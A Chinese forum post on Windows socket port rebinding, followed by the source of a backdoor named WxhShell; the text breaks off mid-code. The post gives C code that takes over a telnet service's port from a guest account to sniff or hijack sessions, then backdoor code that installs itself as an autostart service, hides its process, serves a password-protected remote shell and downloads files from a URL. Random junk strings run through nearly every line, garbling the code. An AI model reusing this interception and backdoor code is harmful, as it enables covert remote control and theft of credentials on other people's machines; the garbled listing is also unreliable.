社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10578阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]l h=ZC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -6WSYpHV  
AxH`4=3<  
  saddr.sin_family = AF_INET; BMQ4i&kF|  
J =8Y D"1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z>0$SBQ-  
J!RRG~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }@jJv||  
rNicg]:\x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ">_|!B&wb^  
l&e{GHz  
  这意味着什么?意味着可以进行如下的攻击: O(-6Zqk8Q  
^8bc<c:P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jj;TS%  
%Qb}z@>fJk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D3,)H%5.y  
jTNt!2 :B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6 <`e]PT  
yK9EHJ$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E_$nsM8?  
,Xn %0]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p ^TCr<=  
^~TE$i<   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ar 7.O;e  
kREFh4QO,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \(=xc2  
[-"ZuUG  
  #include :6%ivS  
  #include 8[t*VIXI  
  #include hT_Q_1,  
  #include    nO'C2)bBSG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *' es(]W  
  int main() ;XyryCo  
  { DzA'MX  
  WORD wVersionRequested; htrtiJ1  
  DWORD ret; eJn_gKWb  
  WSADATA wsaData; A7XA?>~+|  
  BOOL val; A.7lo  
  SOCKADDR_IN saddr; D+ .vg?8  
  SOCKADDR_IN scaddr; 5]CaWFSmT  
  int err; 1#;^ Z3  
  SOCKET s; =_3rc\0  
  SOCKET sc; b&QI#w  
  int caddsize; SYQP7oG9oQ  
  HANDLE mt; C2zKt/)A  
  DWORD tid;   FYu30  
  wVersionRequested = MAKEWORD( 2, 2 ); qf ]le]J  
  err = WSAStartup( wVersionRequested, &wsaData ); I*JJvqh  
  if ( err != 0 ) { E@)'Z6r1  
  printf("error!WSAStartup failed!\n"); vaHtWz!P  
  return -1; ;gu4~LQw  
  } |9.J?YP8 (  
  saddr.sin_family = AF_INET; H/Ql  
    Y%y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O[L#|_BnEO  
HE_UHv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B]b/(Q+  
  saddr.sin_port = htons(23); z0a`*3 -2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }M"])B I  
  { =+?OsH v  
  printf("error!socket failed!\n"); $_eJ@L#  
  return -1; S= `$w  
  } ~@QAa (P.  
  val = TRUE; "|Yy "iB[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sredL#]BA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ay^P #\VZ  
  { MT)q?NcG  
  printf("error!setsockopt failed!\n"); I1s= =  
  return -1; P*%P"g  
  } c=?6`m,"M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i| ,}y`C#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YwZx{%f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4s'%BM-r-  
L:?Ew9Lf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /[/{m]  
  { *}Gys/\!S  
  ret=GetLastError(); S9nn^vsK  
  printf("error!bind failed!\n"); UA]T7r@  
  return -1; 1=9GV+`n  
  } }hm_Ws  
  listen(s,2); Z!fbc#L6  
  while(1) Y[>h |@  
  { -`z%<)!Y  
  caddsize = sizeof(scaddr); >o`+j$j  
  //接受连接请求 `m#G'E I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `(P71T  
  if(sc!=INVALID_SOCKET) x;} 25A|  
  { _(~ E8g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UQYHR+  
  if(mt==NULL) *V+,X  
  { `)KGajB  
  printf("Thread Creat Failed!\n"); ea`6J  
  break; L\bc R  
  } kSCpr0c  
  } 3,*A VcQA  
  CloseHandle(mt); vd$>nJ"  
  } h#)\K| qs  
  closesocket(s); B`3z(a92S  
  WSACleanup(); |f1^&97=+  
  return 0; 2>9..c  
  }   s?k:X ~m  
  DWORD WINAPI ClientThread(LPVOID lpParam) SfrM|o  
  { 1P 'L<z  
  SOCKET ss = (SOCKET)lpParam; 8I#^qr5  
  SOCKET sc; '"LaaTTs  
  unsigned char buf[4096]; hcYqiM@8>  
  SOCKADDR_IN saddr; d1t_o2  
  long num; xb9^WvV  
  DWORD val; 4f ~q$Sf]<  
  DWORD ret; l g ,%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kVt/Hhd9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <HS{A$]  
  saddr.sin_family = AF_INET; =`N 0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U#w0E G  
  saddr.sin_port = htons(23); )$a6l8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EKN<KnU%  
  { K&gE4;>  
  printf("error!socket failed!\n"); $83Qd  
  return -1; T/%Y_.NtU  
  } ,VUOsNN4\  
  val = 100; KIWHn_ :  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Q.M& U  
  { RF -c`C  
  ret = GetLastError(); /n$R-Q  
  return -1; E&L ml?@  
  } HB*BL+S06  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DR]oK_  
  { d$E>bo-\   
  ret = GetLastError(); X>o*eN  
  return -1; Ky8,HdAq  
  } v6! `H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4@mJEi{  
  { Ik A~+6UY  
  printf("error!socket connect failed!\n"); Al *yx_j  
  closesocket(sc); 6L Fhhl^  
  closesocket(ss); t%k`)p7O  
  return -1;  => Qd  
  } u$ o 19n  
  while(1) | "M1+(k7  
  { J_|%8N{[x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 };Df ><  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7`)RB hGB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3|)cT1ej  
  num = recv(ss,buf,4096,0); A5 4u}  
  if(num>0) fT?m~W^  
  send(sc,buf,num,0); > hGB o  
  else if(num==0) _ogN   
  break; H ]](xYy.  
  num = recv(sc,buf,4096,0); i/!KUbt  
  if(num>0) +R{~%ZTK  
  send(ss,buf,num,0); Wap\J7NY  
  else if(num==0) 9j-;-`$S  
  break; M9~'dS'XI  
  } R]>0A3P  
  closesocket(ss); d:cOdm>,  
  closesocket(sc); GlJOb|WOX  
  return 0 ; ~rXLb:  
  } 0Am\02R.C,  
LRS,bl3}/  
KRP6b:+4L  
========================================================== P~x4h{~Gd  
qM 3(OvCt  
下边附上一个代码,,WXhSHELL )`gxaT>&l  
eE\T,u5:  
========================================================== KMl3`+i  
]S@DVXH  
#include "stdafx.h" t)O]0) s  
fmLDufx  
#include <stdio.h> 3{ea~G)[9  
#include <string.h> Y$|KY/)H)  
#include <windows.h> j~9Y0jz_  
#include <winsock2.h> 5dX0C  
#include <winsvc.h> c0X1})q$  
#include <urlmon.h> c2s73i z  
]a*26AbU+  
#pragma comment (lib, "Ws2_32.lib") 20Jlf?  
#pragma comment (lib, "urlmon.lib") rCA0c8  
ICG:4n(,  
#define MAX_USER   100 // 最大客户端连接数 pk;S"cnk  
#define BUF_SOCK   200 // sock buffer GQjU="+  
#define KEY_BUFF   255 // 输入 buffer c7tO'`q$e  
c@j3L23B  
#define REBOOT     0   // 重启 6vU%Y_n=y]  
#define SHUTDOWN   1   // 关机 ;{e'q?Y  
\t&8J+%  
#define DEF_PORT   5000 // 监听端口  91fZ r  
?fc<3q"  
#define REG_LEN     16   // 注册表键长度 )W vOa] :  
#define SVC_LEN     80   // NT服务名长度 QMDkkNK  
*N6sxFs  
// 从dll定义API P.^*K:5@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tpgD{BY^wJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b`;&o^7gMO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gsm.a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u:wf :^  
C8(0|XX  
// wxhshell配置信息 "0z4mQ}>N  
struct WSCFG { +lf`Dd3  
  int ws_port;         // 监听端口 wjOJn]  
  char ws_passstr[REG_LEN]; // 口令 c2Y\bKeN  
  int ws_autoins;       // 安装标记, 1=yes 0=no e%7#e%1s  
  char ws_regname[REG_LEN]; // 注册表键名 HA&hu /mw_  
  char ws_svcname[REG_LEN]; // 服务名 s4=EyBI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,,S 2>X*L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D_`~$QB`,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H>-{.E1bG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RH$YM `cZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .8[uEQ_L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kD((1v*D$  
mK^E@uxN  
}; j:^gmZ;J  
WK{F  
// default Wxhshell configuration f|j<Mj+\  
struct WSCFG wscfg={DEF_PORT, ?+{_x^  
    "xuhuanlingzhe", br?pfs$U  
    1, f&Juq8s_0  
    "Wxhshell", 8@FgvWC  
    "Wxhshell", M%$- c3x  
            "WxhShell Service", DW)81*~g  
    "Wrsky Windows CmdShell Service", 9R[P pE''  
    "Please Input Your Password: ", f]Rh<N$  
  1, >LVGNicQ  
  "http://www.wrsky.com/wxhshell.exe", 3A! |M5  
  "Wxhshell.exe" LMp^]*)t  
    }; 19Mu}.+;  
$KoGh_h   
// 消息定义模块 <?Z]h]C^o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e Zg>]<L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |`AJP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g-/ }*m l  
char *msg_ws_ext="\n\rExit."; g6?5  
char *msg_ws_end="\n\rQuit."; N{a=CaYi+  
char *msg_ws_boot="\n\rReboot..."; WZviC_  
char *msg_ws_poff="\n\rShutdown..."; $L'[_J  
char *msg_ws_down="\n\rSave to "; {~'Iu8TvZ  
O`9vEovjs  
char *msg_ws_err="\n\rErr!"; ?MSV3uODb  
char *msg_ws_ok="\n\rOK!"; Jgq#m~M6  
wS|hc+1  
char ExeFile[MAX_PATH]; hSj@<#b>F  
int nUser = 0; >``  
HANDLE handles[MAX_USER]; [[ll4|  
int OsIsNt; .W\x{h  
PM)nw;nS  
SERVICE_STATUS       serviceStatus; gBXoEn]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d-H03F@N  
e=[@HVr   
// 函数声明 >5 2%^ ?  
int Install(void); py%:,hi  
int Uninstall(void); 8rLhOA  
int DownloadFile(char *sURL, SOCKET wsh); 6R#igLm  
int Boot(int flag); ?lU(FK  
void HideProc(void); AU8sU?=  
int GetOsVer(void); /3;]e3x  
int Wxhshell(SOCKET wsl); !~xlze   
void TalkWithClient(void *cs); 9?sm-qP  
int CmdShell(SOCKET sock); yQN^F+.  
int StartFromService(void); +Ur75YPh  
int StartWxhshell(LPSTR lpCmdLine); X#fjIrn  
{_Fh3gjb/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ia[<;":U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mPo.Z"uy7  
;O<-4$  
// 数据结构和表定义 |[)pQGw  
SERVICE_TABLE_ENTRY DispatchTable[] = Uu9I;q!|  
{ 6|4ID"  
{wscfg.ws_svcname, NTServiceMain}, ]L k- -\  
{NULL, NULL} e?KzT5j:  
}; fY|[YPGO^  
DyUS^iz~o  
// 自我安装 Q$Sp'  
int Install(void) p?4,YV|#  
{ *y|zF6  
  char svExeFile[MAX_PATH]; 1c*;Lr.K  
  HKEY key; u Vo"_c w  
  strcpy(svExeFile,ExeFile); ~,x4cOdR#  
?kF? ~\c  
// 如果是win9x系统,修改注册表设为自启动 ]\/"-Y#4Q  
if(!OsIsNt) { 3sl6$NKo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \GZ|fmYn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \0FwxsL  
  RegCloseKey(key); 8zho\'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mp*?GeV?M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w8`B}Dr23  
  RegCloseKey(key); jcRe),  
  return 0; :OA;vp~$x  
    } G(bl)p^  
  } FgMQ=O2  
} xZVZYvC,t  
else { 'oUTY *  
Fx:4d$>;  
// 如果是NT以上系统,安装为系统服务 bR?xz-g%<3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f @Vd'k<  
if (schSCManager!=0) 2dDhO  
{  *qFl&*h}  
  SC_HANDLE schService = CreateService #S[Y}-]T  
  ( 4hkyq>c}  
  schSCManager, 02-% B~oP  
  wscfg.ws_svcname, j_z@VT}y  
  wscfg.ws_svcdisp, E,Xl8rC  
  SERVICE_ALL_ACCESS, S.pXo'}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }-Jo9dNs  
  SERVICE_AUTO_START, Z=]ujlD  
  SERVICE_ERROR_NORMAL, ; FHnu|  
  svExeFile, 7t/Y5Qf  
  NULL, h\+8eeIl  
  NULL, @S6@pMo,  
  NULL, Z1] 4:  
  NULL, #L&/o9|  
  NULL ~6+>2|wIS  
  ); #oN}DP  
  if (schService!=0) A.~wgJDO  
  { `$3ktQ$  
  CloseServiceHandle(schService); ST,+]p3L(  
  CloseServiceHandle(schSCManager); O,#,`2Qc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8EBd`kiq  
  strcat(svExeFile,wscfg.ws_svcname); [I7=]X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0:c3aq&u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gLK0L%"5  
  RegCloseKey(key); 9~y:K$NO  
  return 0; >'jkL5l  
    } 0IBQE  
  } UUF]45t>  
  CloseServiceHandle(schSCManager); v@{VQVx  
} e7plL^^`  
} pwV~[+SS_  
=,X*40=  
return 1; MooxT7  
} 86a,J3C[  
hDc2T  
// 自我卸载 ;J:*r0  
int Uninstall(void) \ rKUPI\  
{ cg9*+]rc  
  HKEY key; .kJu17!  
-z%->OUu  
if(!OsIsNt) { *w/N>:V0p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  i(V  
  RegDeleteValue(key,wscfg.ws_regname); tTh4L8fO  
  RegCloseKey(key); QP>F *A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8~g~XUl  
  RegDeleteValue(key,wscfg.ws_regname); VKg9^%#b`[  
  RegCloseKey(key); 4JXJ0T ar  
  return 0; z 0F55<i  
  } nswhYSX  
} !_W']Crb]]  
} -#R63f&  
else { f*T}Ov4  
PfGiJ]:V-u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !sYZ1;WAO  
if (schSCManager!=0)  `YO&  
{ 6o*'Q8h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]cW Q9  
  if (schService!=0) G&4D0f  
  { 5xU}}[|~-  
  if(DeleteService(schService)!=0) { wNUcL*n  
  CloseServiceHandle(schService); d@zxgn7o  
  CloseServiceHandle(schSCManager); fB'Jo<C  
  return 0; q Oa*JA`  
  } 8?|W-rN  
  CloseServiceHandle(schService); n#B}p*G  
  } w4zp%`?D'  
  CloseServiceHandle(schSCManager); L=P8;Gj)  
} 'R99m?"  
} %/ :&L+q  
Ds{bYK_y  
return 1; ?v'CuWS  
} 735l&(3A\  
%4BQY>O)@  
// 从指定url下载文件 w{]B)>! 1W  
int DownloadFile(char *sURL, SOCKET wsh) @moaa}1  
{ Ak$9\Sl  
  HRESULT hr; /UaQ 2h\  
char seps[]= "/"; 3K/]{ dkD  
char *token; vG=Pi'4XXo  
char *file; =\\rk,F  
char myURL[MAX_PATH]; .k#O[^~]  
char myFILE[MAX_PATH]; Cv p#=x0  
#Yy5@A}`o  
strcpy(myURL,sURL); 3_T'0x\FP  
  token=strtok(myURL,seps); 1&Ma`M('  
  while(token!=NULL) SzFh  
  { #MbY+[Y@v  
    file=token; #jO2Zu2`}  
  token=strtok(NULL,seps); iTF%}(  
  } yA7O<p+  
\Rha7O  
GetCurrentDirectory(MAX_PATH,myFILE); = \K/ulZo  
strcat(myFILE, "\\"); (&, E}{p9  
strcat(myFILE, file); x}x)h3e  
  send(wsh,myFILE,strlen(myFILE),0); )*7{%Ilq  
send(wsh,"...",3,0); 4`7~~:W!M5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $XKUw"%  
  if(hr==S_OK) `V.tqZF  
return 0; ?DnQU"_$  
else &v9"lR=_k  
return 1; C;9P6^Oz  
"j.Q*Hazg  
} `wSoa#U"@  
^E%NYq_2l<  
// 系统电源模块 mM_gOd  
int Boot(int flag) .'2"83f  
{ S'>KGdF  
  HANDLE hToken; %O{FZgi%wA  
  TOKEN_PRIVILEGES tkp; uVXn/B  
vY[ u;VU  
  if(OsIsNt) { u/N_62sk5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dN){w _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CurU6x1  
    tkp.PrivilegeCount = 1; ?Qts2kae#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W!TT fj   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h645;sb0  
if(flag==REBOOT) { L$jii  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `];ne]xM  
  return 0; Ad -_=a%  
} !L_xcov!Y  
else { [G[{?{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BL%&n*&  
  return 0; 715J1~aRNr  
} |@?='E?h  
  } kpk ^Uw%f  
  else { UY:Be8C A  
if(flag==REBOOT) { WJ 'lYl0+7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]]5(:>l  
  return 0; F'_z$,X6  
} .li)k[] ts  
else { 'SIc2H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qc.9GC  
  return 0; J>nta?/,X  
} NCm=l  
} 472'P  
Ra C6RH  
return 1; D^{jXNDNO  
} >as+#rz1p  
[y<s]C6E  
// win9x进程隐藏模块 <FN +  
void HideProc(void) ](IOn:MuDE  
{ h^J :k  
Exat_ L'?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4dh> B>Q  
  if ( hKernel != NULL ) p%OVl[^jp  
  { $=C ` V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gUp9yV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9  I&[6}  
    FreeLibrary(hKernel); wOH 3[SKo  
  } *LvdrPxU=  
UG6\OgkL+  
return; 9s*UJIL  
} paxZlA o  
#EH\Q%  
// 获取操作系统版本 TI8E W  
int GetOsVer(void) 0bGQO&s [  
{ ![Vrbe P  
  OSVERSIONINFO winfo; 2J` LZS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2[KHmdgtB  
  GetVersionEx(&winfo); sr:hR Q27  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ow(4O#  
  return 1; q?f-h<yRQ  
  else -BsZw. 7P  
  return 0; -1R7 8(1  
} 2%]#rZ  
`Cu9y+t  
// 客户端句柄模块 t4-0mNBZt$  
int Wxhshell(SOCKET wsl) fY|vq amA;  
{ ~\c  j  
  SOCKET wsh; X,K`]hb*0_  
  struct sockaddr_in client; pf3-  
  DWORD myID;  ww\2  
c>C!vAg  
  while(nUser<MAX_USER) O@rZ ^Aa  
{ \<b42\a}  
  int nSize=sizeof(client); dBW4%Zh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4_4|2L3  
  if(wsh==INVALID_SOCKET) return 1; g#5t8w  
I;mc:@R<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ej`G(  
if(handles[nUser]==0) RLDu5  
  closesocket(wsh); t1aKq)?  
else Fk?KR  
  nUser++; HA0yX?f]  
  } h:vI:V[/X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hllb\Y)XL  
D,s[{RW+q  
  return 0; B{1yMJA  
} "VAbUs  
UD5f+,_;  
// 关闭 socket 6V1 Z(K  
void CloseIt(SOCKET wsh) }oii|=,#^  
{ y$L&N0z  
closesocket(wsh); /j(<rz"j  
nUser--; w1= f\  
ExitThread(0); xf{=~j/L  
} 4{" v  
C7Hgzc|U  
// 客户端请求句柄 XJ3aaMh"  
void TalkWithClient(void *cs) hrbeTtqi  
{ yGb^kR}d  
) KYU[  
  SOCKET wsh=(SOCKET)cs; 6x8lnXtA  
  char pwd[SVC_LEN]; qp]s VY  
  char cmd[KEY_BUFF]; 4WQ 96|F  
char chr[1]; Uz7V2r%]  
int i,j; #YLI"/Kn  
FFf ~Vmw  
  while (nUser < MAX_USER) { d,t'e?  
S,C/l1s  
if(wscfg.ws_passstr) { Zb~G&. 2g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V}4u1oG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cHwN=mg]S  
  //ZeroMemory(pwd,KEY_BUFF); Zor Q2>  
      i=0; !(N,tZ  
  while(i<SVC_LEN) { !]!9 $6n  
jL~. =QD  
  // 设置超时 8;Df/ %  
  fd_set FdRead; f<@`{oP@  
  struct timeval TimeOut; $`/F5R!  
  FD_ZERO(&FdRead); mmEe@-lE  
  FD_SET(wsh,&FdRead); ~G~:R  
  TimeOut.tv_sec=8; 0ac'<;9]zP  
  TimeOut.tv_usec=0; `I5So-^&z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }4xz,oN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ 2k9gO  
4&E &{<;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p,#**g:  
  pwd=chr[0]; 2iWxx:e  
  if(chr[0]==0xd || chr[0]==0xa) { g0RfvR  
  pwd=0; Pv3 e*I((  
  break; [2zS@p  
  } W; ?'  
  i++; y1Yrf,E m=  
    } Hp3T2|uL  
X(K5>L>  
  // 如果是非法用户,关闭 socket )<%IY&\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b_oUG_B3]  
} {`[u XH?3d  
qg8T}y>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {+|Em(M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h)yAg e  
j}$Q`7-wB1  
while(1) { }Ym~[S*x  
(t-JGye>  
  ZeroMemory(cmd,KEY_BUFF); mRY~)< !4&  
@{8SC~ha  
      // 自动支持客户端 telnet标准   4>(OM|X=9  
  j=0; C.{z+  
  while(j<KEY_BUFF) { n0=[N'Tw3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j;i7.B"[  
  cmd[j]=chr[0]; Dad*6;+N  
  if(chr[0]==0xa || chr[0]==0xd) { V?Ye^ -29  
  cmd[j]=0; K#'{Ko  
  break; a(eUdGJ  
  } hjY)W;  
  j++; ZCCwx71j  
    } {@<EVw  
jX{t/8v/s4  
  // 下载文件 =h}IyY@o  
  if(strstr(cmd,"http://")) { J"]P" `/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k&\ 6SK/  
  if(DownloadFile(cmd,wsh)) lnRbvulH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'>#1J|TlK  
  else rfc;   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KN zm)O  
  } \Y}nehxG@  
  else { /g]m,Y{OI  
RU GhhK  
    switch(cmd[0]) { npdpKd+*K"  
  28PT1 9&  
  // 帮助 t0gLz J  
  case '?': { POc-`]6 <F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?hwT{h  
    break; '-m )fWf  
  } 6/eh~ME=  
  // 安装 F;_L/8Ov1  
  case 'i': {  -!z,t7!  
    if(Install()) :g=z}7!s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3 $3zyi  
    else - +=+W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7\1bq&a<  
    break; R} aHo0r  
    } ,Q8)r0c  
  // 卸载 fu?Y'Qet  
  case 'r': { m\xE8D(,  
    if(Uninstall()) <xQHb^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jri"Toz0  
    else )mMHwLDwH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3xGk@ 333  
    break; `?R~iLIAq  
    } t9B]V  
  // 显示 wxhshell 所在路径 cA{zyq26  
  case 'p': { L|[ 0&u!  
    char svExeFile[MAX_PATH]; Gdf*x<T1  
    strcpy(svExeFile,"\n\r"); .I&]G  
      strcat(svExeFile,ExeFile); _4jRUsvjY  
        send(wsh,svExeFile,strlen(svExeFile),0); @I^LmB9*  
    break; <kr%ylhIu  
    } nWAx!0G  
  // 重启 DU/WB  
  case 'b': { 8P'zQ:#RV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -hIDL'5u-I  
    if(Boot(REBOOT)) Ou<Vg\Mu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qD80W<1  
    else { 7+vyN^XJ"5  
    closesocket(wsh); i-4pdK u  
